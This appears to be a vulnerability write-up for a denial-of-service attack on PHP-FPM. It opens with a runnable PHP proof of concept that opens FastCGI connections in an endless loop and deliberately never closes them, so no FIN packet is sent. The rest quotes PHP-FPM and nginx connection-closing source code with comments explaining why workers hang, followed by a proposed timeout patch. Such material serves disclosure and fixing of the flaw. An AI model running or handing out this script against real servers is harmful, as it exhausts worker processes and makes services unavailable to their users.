make-service-unavailable-by-fin-loss-attack

<?php
require_once "./lib/fastcgipro.php";

define('FCGI_HOST', '127.0.0.1');
define('FCGI_PORT', 19550);

make_hang_main();

function make_hang_main()
{
    for($cnt = 1; ;++$cnt)
    {
        $socket[$cnt] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        socket_connect($socket[$cnt], FCGI_HOST, FCGI_PORT);

        $content_body = '';
        $fcgi_request_id = $cnt;
        $env = array(
            'SCRIPT_FILENAME' => '/home/file_not_exist.php',
            'REQUEST_METHOD'  => 'GET',
            'CONTENT_LENGTH' => strlen($content_body),
        );

        send_request($socket[$cnt], $content_body, $env, $fcgi_request_id);
        $result = get_response($socket[$cnt]);
        echo "***************$cnt*****************\n";
        var_dump($result);
        //socket_close($socket[$cnt]);//we don't send FIN to server
    }

    //can't run here
    for($i = 1; $i <= $cnt; ++$i)
    {
        socket_close($socket[$i]);
    }
}

//sapi/fpm/fpm/fastcgi.c
void fcgi_close(fcgi_request *req, int force, int destroy)
{
    //................

    if ((force || !req->keep) && req->fd >= 0) {
#ifdef _WIN32
    //.................
            shutdown(req->fd, 1);
            while (recv(req->fd, buf, sizeof(buf), 0) > 0) {}//hang here if client don't send the pack of fin
    //................
#else
        if (!force) {//fcgi_finish_request -> fcgi_close的时候，参数force写死了为0，必然走到这里
            char buf[8];

            shutdown(req->fd, 1);
            while (recv(req->fd, buf, sizeof(buf), 0) > 0) {}//hang here if client don't send the pack of fin
        }
        close(req->fd);
#endif
        req->fd = -1;
        fpm_request_finished();
    }
}

static void ngx_http_set_lingering_close(ngx_http_request_t *r)
{
    ngx_event_t               *rev, *wev;
    ngx_connection_t          *c;
    ngx_http_core_loc_conf_t  *clcf;

    c = r->connection;

    clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);

    rev = c->read;
    rev->handler = ngx_http_lingering_close_handler;//set lingering_timeout handler

    r->lingering_time = ngx_time() + (time_t) (clcf->lingering_time / 1000);//set lingering_time
    ngx_add_timer(rev, clcf->lingering_timeout);//set lingering_timeout timer

    if (ngx_handle_read_event(rev, 0) != NGX_OK) {
        ngx_http_close_request(r, 0);
        return;
    }

    wev = c->write;
    wev->handler = ngx_http_empty_handler;

    if (wev->active && (ngx_event_flags & NGX_USE_LEVEL_EVENT)) {
        if (ngx_del_event(wev, NGX_WRITE_EVENT, 0) != NGX_OK) {
            ngx_http_close_request(r, 0);
            return;
        }
    }

    if (ngx_shutdown_socket(c->fd, NGX_WRITE_SHUTDOWN) == -1) {
        ngx_connection_error(c, ngx_socket_errno,
                             ngx_shutdown_socket_n " failed");
        ngx_http_close_request(r, 0);
        return;
    }

    if (rev->ready) {
        ngx_http_lingering_close_handler(rev);
    }
}

char buf[8];
time_t start, end;
int sec;

shutdown(req->fd, 1);
if (PG(lingering_timeout_ms) > 0) {
    struct timeval ltimeout = {PG(lingering_timeout_ms)/1000, 1000 * (PG(lingering_timeout_ms) % 1000)};
    setsockopt(req->fd, SOL_SOCKET, SO_RCVTIMEO, (const char*)&ltimeout, sizeof(ltimeout));
} else if (PG(lingering_time_s) > 0) {
    struct timeval ltimeout = {PG(lingering_time_s), 0};
    setsockopt(req->fd, SOL_SOCKET, SO_RCVTIMEO, (const char*)&ltimeout, sizeof(ltimeout));
}

time(&start);
while (recv(req->fd, buf, sizeof(buf), 0) > 0) {
     if (PG(lingering_time_s) > 0) {
         time(&end);
         sec = (int)(end-start);
         if (sec > PG(lingering_time_s)) {
             break;
         }
     }
 }